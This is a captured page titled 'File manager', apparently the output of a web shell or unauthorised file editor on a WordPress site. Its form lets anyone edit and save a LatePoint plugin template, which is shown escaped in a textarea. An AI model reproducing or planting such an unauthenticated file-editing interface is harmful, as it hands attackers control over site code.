File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php
/*
 * Copyright (c) 2023 LatePoint LLC. All rights reserved.
 */

/* @var $invoice OsInvoiceModel */
/* @var $errors array */
/* @var $success string */
/* @var $to string */
/* @var $subject string */
/* @var $content string */


?&gt;
&lt;form action=&quot;&quot; data-os-output-target=&quot;.invoice-document-wrapper&quot; data-os-action=&quot;&lt;?php echo OsRouterHelper::build_route_name(&#039;invoices&#039;, &#039;process_data_update&#039;); ?&gt;&quot; class=&quot;invoice-data-form latepoint-lightbox-inner-form&quot; data-os-pass-response=&quot;yes&quot; data-os-after-call=&quot;latepointInvoicesAdminFeature.init_invoice_data_updated&quot;&gt;
	&lt;div class=&quot;latepoint-lightbox-heading&quot;&gt;
		&lt;h2&gt;&lt;?php echo esc_html__(&#039;Edit Invoice Data&#039;, &#039;latepoint&#039;); ?&gt;&lt;/h2&gt;
		&lt;a href=&quot;#&quot; class=&quot;latepoint-lightbox-close&quot; tabindex=&quot;0&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon-x&quot;&gt;&lt;/i&gt;&lt;/a&gt;
	&lt;/div&gt;
	&lt;div class=&quot;latepoint-lightbox-content&quot;&gt;
		&lt;?php

		// Output errors if any
		if (!empty($errors)){
			echo &#039;&lt;div class=&quot;latepoint-message latepoint-message-error&quot;&gt;&#039;;
			foreach($errors as $error){
				echo &#039;&lt;div&gt;&#039;.$error.&#039;&lt;/div&gt;&#039;;
			}
			echo &#039;&lt;/div&gt;&#039;;
		}
            ?&gt;
            &lt;div class=&quot;os-row&quot;&gt;
                &lt;div class=&quot;os-col-lg-4&quot;&gt;
                    &lt;?php echo OsFormHelper::select_field( &#039;invoice[status]&#039;, __( &#039;Status&#039;, &#039;latepoint&#039; ), OsInvoicesHelper::list_of_statuses_for_select(), $invoice-&gt;status, [&#039;theme&#039; =&gt; &#039;simple&#039;, &#039;class&#039; =&gt; &#039;size-small&#039;] ); ?&gt;
                &lt;/div&gt;
                &lt;div class=&quot;os-col-lg-4&quot;&gt;
                    &lt;?php echo OsFormHelper::money_field(&#039;invoice[charge_amount]&#039;, __(&#039;Amount Due&#039;, &#039;latepoint&#039;), $invoice-&gt;charge_amount, [&#039;theme&#039; =&gt; &#039;simple&#039;, &#039;class&#039; =&gt; &#039;size-small&#039;]); ?&gt;
                &lt;/div&gt;
                &lt;div class=&quot;os-col-lg-4&quot;&gt;
                    &lt;div class=&quot;os-form-group os-form-select-group os-form-group-simple&quot;&gt;
                        &lt;label for=&quot;&quot;&gt;&lt;?php esc_html_e(&#039;Due At&#039;, &#039;latepoint&#039;); ?&gt;&lt;/label&gt;
                        &lt;?php echo OsFormHelper::date_picker_field( &#039;invoice[due_at]&#039;, OsTimeHelper::get_readable_date_from_string( OsTimeHelper::date_from_db($invoice-&gt;due_at, &#039;Y-m-d&#039;) ), OsTimeHelper::date_from_db($invoice-&gt;due_at, &#039;Y-m-d&#039;, OsTimeHelper::get_wp_timezone_name()), [ &#039;class&#039; =&gt; &#039;size-small&#039;, &#039;theme&#039; =&gt; &#039;simple&#039; ]); ?&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;?php echo OsFormHelper::hidden_field(&#039;invoice_id&#039;, $invoice-&gt;id); ?&gt;
	&lt;/div&gt;
    &lt;?php if(empty($success)){ ?&gt;
	&lt;div class=&quot;latepoint-lightbox-footer&quot;&gt;
		&lt;button type=&quot;submit&quot; class=&quot;latepoint-btn latepoint-btn-primary latepoint-btn-position-end &quot;&gt;&lt;?php esc_html_e(&#039;Update&#039;, &#039;latepoint&#039;); ?&gt;&lt;/button&gt;
	&lt;/div&gt;
    &lt;?php } ?&gt;
&lt;/form&gt;</textarea><input type='submit' name='save' value='Save' style=''/></form>